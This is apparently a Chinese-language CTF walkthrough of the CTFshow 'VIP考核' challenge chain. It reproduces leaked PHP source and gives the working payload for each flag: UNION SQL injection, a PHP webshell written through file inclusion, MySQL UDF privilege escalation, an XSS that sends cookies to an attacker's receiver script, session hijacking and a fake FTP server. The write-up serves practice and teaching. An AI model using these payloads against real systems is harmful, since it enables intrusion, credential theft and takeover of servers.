CTFSHOW VIP考核
常规的信息收集
扫描端口 仅仅开放了22 8080 443端口
扫描目录
访问robots.txt 发现了source.txt 访问 发现源码泄露

信息收集完毕 开始!!!
开局一个flag shell全靠懵

点击开始探索 转到page.php
搜索半天并没有什么东西
查看原始页面源代码 发现system36d目录

访问又一个flag

点击登录

抓不到包,应该是前端所控制
右键源代码查看js文件

密码为0x36D 登录
发现flag

登陆后 点击数据备份
下载文件 发现flag

发现RCE模块 执行ls命令

发现secret.txt 访问之
发现一串url编码

解码

发现flag
利用645的flag 进行远程更新 发现任意文件读取 读取main.php
根据包含信息 读取**system36d/util/auth.php**文件
再次读取**system36d/init.php**
发现FLAG 646
查看**system36d/checklogin.php system36d/users.php**
checklogin.php
<?php/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date: 2021-07-25 16:59:18# @Last Modified by: h1xa# @Last Modified time: 2021-07-25 17:01:58# @email: h1xa@ctfer.com# @link: https://ctfer.com*/error_reporting(0);session_start();$s=$_GET['s'];setcookie('uid',intval($s));$_SESSION['user_id']=intval($s);header('location:main.php');
users.php
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-07-26 10:25:59
# @Last Modified by: h1xa
# @Last Modified time: 2021-08-01 01:52:58
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
session_start();
include 'init.php';
$a=$_GET['action'];
$data = file_get_contents(DB_PATH);
$ret = '';
switch ($a) {
case 'list':
$ret = getUsers($data,intval($_GET['page']),intval($_GET['limit']));
break;
case 'add':
$ret = addUser($data,$_GET['username'],$_GET['password']);
break;
case 'del':
$ret = delUser($data,$_GET['username']);
break;
case 'update':
$ret = updateUser($data,$_GET['username'],$_GET['password']);
break;
case 'backup':
backupUsers();
break;
case 'upload':
$ret = recoveryUsers();
break;
case 'phpInfo':
$ret = phpInfoTest();
break;
case 'netTest':
$ret = netTest($_GET['cmd']);
break;
case 'remoteUpdate':
$ret = remoteUpdate($_GET['auth'],$_GET['update_address']);
break;
case 'authKeyValidate':
$ret = authKeyValidate($_GET['auth']);
break;
case 'evilString':
evilString($_GET['m']);
break;
case 'evilNumber':
evilNumber($_GET['m'],$_GET['key']);
break;
case 'evilFunction':
evilFunction($_GET['m'],$_GET['key']);
break;
case 'evilArray':
evilArray($_GET['m'],$_GET['key']);
break;
case 'evilClass':
evilClass($_GET['m'],$_GET['key']);
break;
default:
$ret = json_encode(array(
'code'=>0,
'message'=>'数据获取失败',
));
break;
}
echo $ret;
function getUsers($data,$page=1,$limit=10){
$ret = array(
'code'=>0,
'message'=>'数据获取成功',
'data'=>array()
);
$isadmin = '否';
$pass = '';
$content='无';
$users = explode('|', $data);
array_pop($users);
$index = 1;
foreach ($users as $u) {
if(explode('@', $u)[0]=='admin'){
$isadmin = '是';
$pass = 'flag就是管理员的密码,不过我隐藏了';
$content = '删除此条记录后flag就会消失';
}else{
$pass = explode('@', $u)[1];
}
array_push($ret['data'], array(
'id'=>$index,
'username'=>explode('@', $u)[0],
'password'=>$pass,
'isAdmin'=>$isadmin,
'content'=>$content
));
$index +=1;
}
$ret['count']=$index;
$start = ($page-1)*$limit;
$ret['data']=array_slice($ret['data'], $start,$limit,true);
return json_encode($ret);
}
function addUser($data,$username,$password){
$ret = array(
'code'=>0,
'message'=>'添加成功'
);
if(existsUser($data,$username)==0){
$s = $data.$username.'@'.$password.'|';
file_put_contents(DB_PATH, $s);
}else{
$ret['code']=-1;
$ret['message']='用户已存在';
}
return json_encode($ret);
}
function updateUser($data,$username,$password){
$ret = array(
'code'=>0,
'message'=>'更新成功'
);
if(existsUser($data,$username)>0 && $username!='admin'){
$s = preg_replace('/'.$username.'@[0-9a-zA-Z]+\|/', $username.'@'.$password.'|', $data);
file_put_contents(DB_PATH, $s);
}else{
$ret['code']=-1;
$ret['message']='用户不存在或无权更新';
}
return json_encode($ret);
}
function delUser($data,$username){
$ret = array(
'code'=>0,
'message'=>'删除成功'
);
if(existsUser($data,$username)>0 && $username!='admin'){
$s = preg_replace('/'.$username.'@[0-9a-zA-Z]+\|/', '', $data);
file_put_contents(DB_PATH, $s);
}else{
$ret['code']=-1;
$ret['message']='用户不存在或无权删除';
}
return json_encode($ret);
}
function existsUser($data,$username){
return preg_match('/'.$username.'@[0-9a-zA-Z]+\|/', $data);
}
function backupUsers(){
$file_name = DB_PATH;
if (! file_exists ($file_name )) {
header('HTTP/1.1 404 NOT FOUND');
} else {
$file = fopen ($file_name, "rb" );
Header ( "Content-type: application/octet-stream" );
Header ( "Accept-Ranges: bytes" );
Header ( "Accept-Length: " . filesize ($file_name));
Header ( "Content-Disposition: attachment; filename=backup.dat");
echo str_replace(FLAG645, 'flag就在这里,可惜不能给你', fread ( $file, filesize ($file_name)));
fclose ( $file );
exit ();
}
}
function getArray($total, $times, $min, $max)
{
$data = array();
if ($min * $times > $total) {
return array();
}
if ($max * $times < $total) {
return array();
}
while ($times >= 1) {
$times--;
$kmix = max($min, $total - $times * $max);
$kmax = min($max, $total - $times * $min);
$kAvg = $total / ($times + 1);
$kDis = min($kAvg - $kmix, $kmax - $kAvg);
$r = ((float)(rand(1, 10000) / 10000) - 0.5) * $kDis * 2;
$k = round($kAvg + $r);
$total -= $k;
$data[] = $k;
}
return $data;
}
function recoveryUsers(){
$ret = array(
'code'=>0,
'message'=>'恢复成功'
);
if(isset($_FILES['file']) && $_FILES['file']['size']<1024*1024){
$file_name= $_FILES['file']['tmp_name'];
$result = move_uploaded_file($file_name, DB_PATH);
if($result===false){
$ret['message']='数据恢复失败 file_name'.$file_name.' DB_PATH='.DB_PATH;
}
}else{
$ret['message']='数据恢复失败';
}
return json_encode($ret);
}
function phpInfoTest(){
return phpinfo();
}
function authKeyValidate($auth){
$ret = array(
'code'=>0,
'message'=>$auth==substr(FLAG645, 8)?'验证成功':'验证失败',
'status'=>$auth==substr(FLAG645, 8)?'0':'-1'
);
return json_encode($ret);
}
function remoteUpdate($auth,$address){
$ret = array(
'code'=>0,
'message'=>'更新失败'
);
if($auth!==substr(FLAG645, 8)){
$ret['message']='权限key验证失败';
return json_encode($ret);
}else{
$content = file_get_contents($address);
$ret['message']=($content!==false?$content:'地址不可达');
}
return json_encode($ret);
}
function evilString($m){
$key = '372619038';
$content = call_user_func($m);
if(stripos($content, $key)!==FALSE){
echo shell_exec('cat /FLAG/FLAG647');
}else{
echo 'you are not 372619038?';
}
}
function evilClass($m,$k){
class ctfshow{
public $m;
public function construct($m){
$this->$m=$m;
}
}
$ctfshow=new ctfshow($m);
$ctfshow->$m=$m;
if($ctfshow->$m==$m && $k==shell_exec('cat /FLAG/FLAG647')){
echo shell_exec('cat /FLAG/FLAG648');
}else{
echo 'mmmmm?';
}
}
function evilNumber($m,$k){
$number = getArray(1000,20,10,999);
if($number[$m]==$m && $k==shell_exec('cat /FLAG/FLAG648')){
echo shell_exec('cat /FLAG/FLAG649');
}else{
echo 'number is right?';
}
}
function evilFunction($m,$k){
$key = 'ffffffff';
$content = call_user_func($m);
if(stripos($content, $key)!==FALSE && $k==shell_exec('cat /FLAG/FLAG649')){
echo shell_exec('cat /FLAG/FLAG650');
}else{
echo 'you are not ffffffff?';
}
}
function evilArray($m,$k){
$arrays=unserialize($m);
if($arrays!==false){
if(array_key_exists('username', $arrays) && in_array('ctfshow', get_object_vars($arrays)) && $k==shell_exec('cat /FLAG/FLAG650')){
echo shell_exec('cat /FLAG/FLAG651');
}else{
echo 'array?';
}
}
}
function netTest($cmd){
$ret = array(
'code'=>0,
'message'=>'命令执行失败'
);
if(preg_match('/^[A-Za-z]+$/', $cmd)){
$res = shell_exec($cmd);
stripos(PHP_OS,'WIN')!==FALSE?$ret['message']=iconv("GBK", "UTF-8", $res):$ret['message']=$res;
}
return json_encode($ret);
}
**evilString**函数
function evilString($m){
$key = '372619038';
$content = call_user_func($m);
if(stripos($content, $key)!==FALSE){
echo shell_exec('cat /FLAG/FLAG647');
}else{
echo 'you are not 372619038?';
}
}
利用 checklogin.php 给 cookie中的uid 赋值
http://ip/system36d/checklogin.php?s=372619038
访问
http://ip/system36d/users.php?action=evilString&m=session_encode
FLAG 648
function evilClass($m,$k){
class ctfshow{
public $m;
public function construct($m){
$this->$m=$m;
}
}
$ctfshow=new ctfshow($m);
$ctfshow->$m=$m;
if($ctfshow->$m==$m && $k==shell_exec('cat /FLAG/FLAG647')){
echo shell_exec('cat /FLAG/FLAG648');
}else{
echo 'mmmmm?';
}
}
可变变量覆盖
/system36d/users.php?action=evilClass&m=huahua&key=flag_647=ctfshow{e6ad8304cdb562971999b476d8922219}
FLAG 649
function evilNumber($m,$k){
$number = getArray(1000,20,10,999);
if($number[$m]==$m && $k==shell_exec('cat /FLAG/FLAG648')){
echo shell_exec('cat /FLAG/FLAG649');
}else{
echo 'number is right?';
}
}
查看getArray函数
function getArray($total, $times, $min, $max)
{
$data = array();
if ($min * $times > $total) {
return array();
}
if ($max * $times < $total) {
return array();
}
while ($times >= 1) {
$times--;
$kmix = max($min, $total - $times * $max);
$kmax = min($max, $total - $times * $min);
$kAvg = $total / ($times + 1);
$kDis = min($kAvg - $kmix, $kmax - $kAvg);
$r = ((float)(rand(1, 10000) / 10000) - 0.5) * $kDis * 2;
$k = round($kAvg + $r);
$total -= $k;
$data[] = $k;
}
return $data;
}
不给m赋值
/system36d/users.php?action=evilNumber&key=flag_648=ctfshow{af5b5e411813eafd8dc2311df30b394e}
FLAG 650
function evilFunction($m,$k){
$key = 'ffffffff';
$content = call_user_func($m);
if(stripos($content, $key)!==FALSE && $k==shell_exec('cat /FLAG/FLAG649')){
echo shell_exec('cat /FLAG/FLAG650');
}else{
echo 'you are not ffffffff?';
}
}
利用PHPSESSID
/system36d/users.php?action=evilFunction&m=session_id&key=flag_649=ctfshow{9ad80fcc305b58afbb3a0c2097ac40ef}
FLAG 651
function evilArray($m,$k){
$arrays=unserialize($m);
if($arrays!==false){
if(array_key_exists('username', $arrays) && in_array('ctfshow', get_object_vars($arrays)) && $k==shell_exec('cat /FLAG/FLAG650')){
echo shell_exec('cat /FLAG/FLAG651');
}else{
echo 'array?';
}
}
}
定义和用法
array_key_exists() 函数检查某个数组中是否存在指定的键名,如果键名存在则返回 true,如果键名不存在则返回 false。
get_object_vars — 返回由对象属性组成的关联数组
<?php
class huahua{
public $username='huahua';
public $huahua='ctfshow';
}
echo serialize(new huahua());
?>
/system36d/users.php?action=evilArray&m=O:6:"huahua":2:{s:8:"username";s:6:"huahua";s:6:"huahua";s:7:"ctfshow";}&key=flag_650=ctfshow{5eae22d9973a16a0d37c9854504b3029}
这里利用到了不完整的类的知识点 如下图 具体可查看__PHP_Incomplete_Class【安恒某题】
FLAG 652
读取page.php页面
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-07-25 16:22:25
# @Last Modified by: h1xa
# @Last Modified time: 2021-07-25 16:22:25
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
include __DIR__.DIRECTORY_SEPARATOR.'system36d/util/dbutil.php';
$id = isset($_GET['id'])?$_GET['id']:'1';
//转义' " \ 来实现防注入
$id = addslashes($id);
$name = db::get_username($id);
?>
根据包含文件读取**system36d/util/dbutil.php**
<?php
class db{
private static $host='localhost';
private static $username='root';
private static $password='root';
private static $database='ctfshow';
private static $conn;
public static function get_key(){
$ret = '';
$conn = self::get_conn();
$res = $conn->query('select `key` from ctfshow_keys');
if($res){
$row = $res->fetch_array(MYSQLI_ASSOC);
}
$ret = $row['key'];
self::close();
return $ret;
}
public static function get_username($id){
$ret = '';
$conn = self::get_conn();
$res = $conn->query("select `username` from ctfshow_users where id = ($id)");
if($res){
$row = $res->fetch_array(MYSQLI_ASSOC);
}
$ret = $row['username'];
self::close();
return $ret;
}
private static function get_conn(){
if(self::$conn==null){
self::$conn = new mysqli(self::$host, self::$username, self::$password, self::$database);
}
return self::$conn;
}
private static function close(){
if(self::$conn!==null){
self::$conn->close();
}
}
}
可以看到并无单引号保护 直接闭合注入
public static function get_username($id){
$ret = '';
$conn = self::get_conn();
$res = $conn->query("select `username` from ctfshow_users where id = ($id)");
if($res){
$row = $res->fetch_array(MYSQLI_ASSOC);
}
$ret = $row['username'];
self::close();
return $ret;
}
成功回显
?id=-1) union select (select group_concat(table_name) from information_schema.tables where table_schema=0x63746673686f77) where 1=(1
?id=-1) union select (select group_concat(column_name) from information_schema.columns where table_name=0x63746673686f775f736563726574) where 1=(1
?id=-1) union select (select secret from ctfshow_secret) where 1=(1
?id=-1) union select (select `key` from ctfshow_keys) where 1=(1
//key_is_here_you_know
//flag_652=ctfshow{4b37ab4b6504d43ea0de9a688f0e3ffa}
FLAG 653
利用**system36d/init.php**得提示信息 读取 **system36d/util/common.php** 文件
<?php
include 'dbutil.php';
if($_GET['k']!==shell_exec('cat /FLAG/FLAG651')){
die('651flag未拿到');
}
if(isset($_POST['file']) && file_exists($_POST['file'])){
if(db::get_key()==$_POST['key']){
include __DIR__.DIRECTORY_SEPARATOR.$_POST['file'];
}
}
新增用户这里 添加一句话木马 
利用文件包含 进行包含 写马
/system36d/util/common.php?k=flag_651=ctfshow{a4c64b86d754b3b132a138e3e0adcaa6}
key=key_is_here_you_know&file=../db/data_you_never_know.db&1=shell_exec('echo "<?php eval(\$_POST[1]);?>" > /var/www/html/system36d/shell.php');
FLAG 654
查看配置目录 发现**sudoers.bak**
打开
mysql为特权用户
利用udf提权 详情查看
上传一个udf.so 到mysql扩展目录
先上传到/tmp目录下
再利用cp ./tmp/udf.so /usr/lib/mariadb/plugin 上传到mysql扩展文件夹中(这里无法利用mysql上传 mysql上传需要开启某个配置文件)
创建自定义函数
成功提权到root

flag_654=ctfshow{4ab2c2ccd0c3c35fdba418d8502f5da9}
FLAG 655
查看网卡信息 sudo ifconfig
eth0 Link encap:Ethernet HWaddr 02:42:AC:02:CC:04
inet addr:172.2.204.4 Bcast:172.2.204.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1450 Metric:1
RX packets:336 errors:0 dropped:0 overruns:0 frame:0
TX packets:248 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:191672 (187.1 KiB) TX bytes:854857 (834.8 KiB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:541 errors:0 dropped:0 overruns:0 frame:0
TX packets:541 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:251716 (245.8 KiB) TX bytes:251716 (245.8 KiB)
发现**172.2.204.5**主机存活**sudo ping 172.2.204.5 -c 1**
PING 172.2.204.5 (172.2.204.5): 56 data bytes
64 bytes from 172.2.204.5: seq=0 ttl=64 time=0.097 ms
--- 172.2.204.5 ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 0.097/0.097/0.097 ms
访问其80端口 **select sys_eval("sudo curl http://172.2.204.5")**
发现发生变化证明其中存在
发现其存在phpinfo.php和www.zip
访问phpinfo.php 获得flag**flag_655=ctfshow{aada21bce99ddeab20020ac714686303}**
FLAG 656
将www.zip下载到本地机器
下载成功
访问 下载到自己电脑上
发现一个index.php
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-08-04 15:54:48
# @Last Modified by: h1xa
# @Last Modified time: 2021-08-05 00:43:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
include 'dbutil.php';
include 'flag.php';
error_reporting(0);
session_start();
$a=$_GET['action'];
switch ($a){
case 'login':
$ret = login($_GET['u'],$_GET['p']);
break;
case 'index':
$ret = index();
break;
case 'main':
$ret = main($_GET['m']);
break;
default:
$ret = json_encode(array(
'code'=>0,
'message'=>'数据获取失败',
));
break;
}
echo $ret;
function index(){
$html='管理员请注意,下面是最近登陆失败用户:<br>';
$ret=db::query('select username,login_time,login_ip from ctfshow_logs order by id desc limit 3');
foreach ($ret as $r) {
$html .='------------<br>用户名: '.htmlspecialchars($r[0]).'<br>登陆失败时间: '
.$r[1]
.'<br>登陆失败IP: '
.$r[2].
'<br>------------<br>';
}
return $html;
}
function login($u,$p){
$ret = array(
'code'=>0,
'message'=>'数据获取失败',
);
$u = addslashes($u);
$p = addslashes($p);
$res = db::query("select username from ctfshow_users where username = '$u' and password = '$p'");
$date = new DateTime('now');
$now = $date->format('Y-m-d H:i:s');
$ip = addslashes(gethostbyname($_SERVER['HTTP_X_FORWARDED_FOR']));
if(count($res)==0){
db::insert("insert into `ctfshow_logs` (`username`,`login_time`,`login_ip`) values ('$u','$now','$ip')");
$ret['message']='账号或密码错误';
return json_encode($ret);
}
if(!auth()){
$ret['message']='AuthKey 错误';
}else{
$ret['message']='登陆成功';
$_SESSION['login']=true;
$_SESSION['flag_660']=$_GET['flag'];
}
return json_encode($ret);
}
function auth(){
$auth = base64_decode($_COOKIE['auth']);
return $auth==AUTH_KEY;
}
function getFlag(){
return FLAG_657;
}
function testFile($f){
$result = '';
$file = $f.md5(md5(random_int(1,10000)).md5(random_int(1,10000))).'.php';
if(file_exists($file)){
$result = FLAG_658;
}
return $result;
}
function main($m){
$ret = array(
'code'=>0,
'message'=>'数据获取失败',
);
if($_SESSION['login']==true){
switch ($m) {
case 'getFlag':
$ret['message']=getFlag();
break;
case 'testFile':
$ret['message']=testFile($_GET['f']);
break;
default:
# code...
break;
}
}else{
$ret['message']='请先登陆';
}
return json_encode($ret);
}
漏洞函数关键位置
function index(){
$html='管理员请注意,下面是最近登陆失败用户:<br>';
$ret=db::query('select username,login_time,login_ip from ctfshow_logs order by id desc limit 3');
foreach ($ret as $r) {
$html .='------------<br>用户名: '.htmlspecialchars($r[0]).'<br>登陆失败时间: '
.$r[1]
.'<br>登陆失败IP: '
.$r[2].
'<br>------------<br>';
}
return $html;
}
......
......
......
function login($u,$p){
$ret = array(
'code'=>0,
'message'=>'数据获取失败',
);
$u = addslashes($u);
$p = addslashes($p);
$res = db::query("select username from ctfshow_users where username = '$u' and password = '$p'");
$date = new DateTime('now');
$now = $date->format('Y-m-d H:i:s');
$ip = addslashes(gethostbyname($_SERVER['HTTP_X_FORWARDED_FOR']));
if(count($res)==0){
db::insert("insert into `ctfshow_logs` (`username`,`login_time`,`login_ip`) values ('$u','$now','$ip')");
$ret['message']='账号或密码错误';
return json_encode($ret);
}
第8行 $r[2]没有进行html编码 导致xss 并且 $r[2]变量可控
具体位置如下
$ip = addslashes(gethostbyname($_SERVER['HTTP_X_FORWARDED_FOR']));
用curl发送一个失败的请求 存入数据库 并返回页面
先在服务器A设置一个接收脚本 c.php
<?php file_put_contents("c.txt",$_GET['s']);
过滤了单双引号 用**String.fromCharCode**绕过即可
<script>window.location.href=String.fromCharCode(104,116,116,112,58,47,47,119,101,98,47,49,46,112,104,112,63,115,61)+document.cookie;</script>
curl -H "X-Forwarded-For:<script>window.location.href=String.fromCharCode(104,116,116,112,58,47,47,49,55,50,46,50,46,53,54,46,52,47,99,46,112,104,112,63,115,61)+document.cookie;</script>" http://172.2.56.5/index.php?action=login&u=huahua&p=huahua
select sys_eval('sudo curl -H "X-Forwarded-For:<script>window.location.href=String.fromCharCode(104,116,116,112,58,47,47,49,55,50,46,50,46,53,54,46,52,47,99,46,112,104,112,63,115,61)+document.cookie;</script>" http://172.2.56.5/index.php?action=login&u=huahua&p=huahua');
利用 js 返回ascii编码后的字符
var a = "http://172.2.56.4/c.php?s=";
var b = ''
for(var i=0;i<a.length;i++){
b+= a[i].charCodeAt()+' '
}
console.log(b)
成功返回 解密auth就是flag
**flag_656=ctfshow{e0b80d6b99d2bdbae36f121f78abe96b}**
FLAG 657
定位漏洞函数位置
function getFlag(){
return FLAG_657;
}
...
...
...
function main($m){
$ret = array(
'code'=>0,
'message'=>'数据获取失败',
);
if($_SESSION['login']==true){
switch ($m) {
case 'getFlag':
$ret['message']=getFlag();
break;
case 'testFile':
$ret['message']=testFile($_GET['f']);
break;
default:
# code...
break;
}
}else{
$ret['message']='请先登陆';
}
return json_encode($ret);
}
刚才用xss盗取了管理的cookie 直接冒充一波
PHPSESSID=o0dklrshp8olh0p3jak1u9bn6d; auth=ZmxhZ182NTY9Y3Rmc2hvd3tlMGI4MGQ2Yjk5ZDJiZGJhZTM2ZjEyMWY3OGFiZTk2Yn0=
curl -b 'PHPSESSID=o0dklrshp8olh0p3jak1u9bn6d' http://172.2.56.4/index.php?action=main&m=getFlag
select sys_eval('sudo curl --cookie "PHPSESSID=o0dklrshp8olh0p3jak1u9bn6d;" "http://172.2.56.5/index.php?action=main&m=getFlag"');
**flag_657=ctfshow{2a73f8f87a58a13c23818fafd83510b1}**
FLAG 658
漏洞关键位置
function testFile($f){
$result = '';
$file = $f.md5(md5(random_int(1,10000)).md5(random_int(1,10000))).'.php';
if(file_exists($file)){
$result = FLAG_658;
}
return $result;
}
这里用ftp伪造文件来进行绕过**file_exists**函数**file_exists**函数支持ftp协议
本地起一个ftp服务
ftp.py
# -*- coding: utf-8 -*-
# @Author: h1xa# @Date: 2021-08-05 03:01:47
# @Last Modified by: h1xa
# @Last Modified time: 2021-08-07 18:24:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 21))
s.listen(1)
print('listening 0.0.0.0 21\n')
conn, addr = s.accept()
conn.send(b'220 \n')
conn.send(b'230 \n')
conn.send(b'200 \n')
conn.send(b'200 \n')
conn.send(b'200 \n')
conn.send(b'200 \n')
conn.send(b'200 \n')
conn.send(b'200 \n')
conn.close()
**python ftp.py****php ftp.php**
成功绕过
用 socket 来起一个ftp服务器,伪造ftp协议中传输的数据,使对方认为你的文件存在
他不是随机的么,没办法确定,所以在交互的协议里来欺骗对方

将ftp.py上传到服务器A
在用服务器A去访问服务器B绕过**file_exists**函数
监听21端口**python3 ftp.py**
curl 模拟请求进行访问**select sys_eval('sudo curl --cookie "PHPSESSID=4nhd18sr54e0qtsaim4d5b063b;" "http://**172.2.13.5**/index.php?action=main&m=testFile&f=ftp://**172.2.13.4:21**/"');**
**flag_658=ctfshow{98555a97cb23e7413d261142e65a674f}**
FLAG 659
扫描目录
得到/robots.txt
访问/public/
<html>
<head><title>Index of /public/</title></head>
<body>
<h1>Index of /public/</h1><hr><pre><a href="../">../</a>
<a href="Readme.txt">Readme.txt</a> 07-Aug-2021 19:51 123
</pre><hr></body>
</html>
访问/public/Readme.txt
这里存在nginx目录穿越


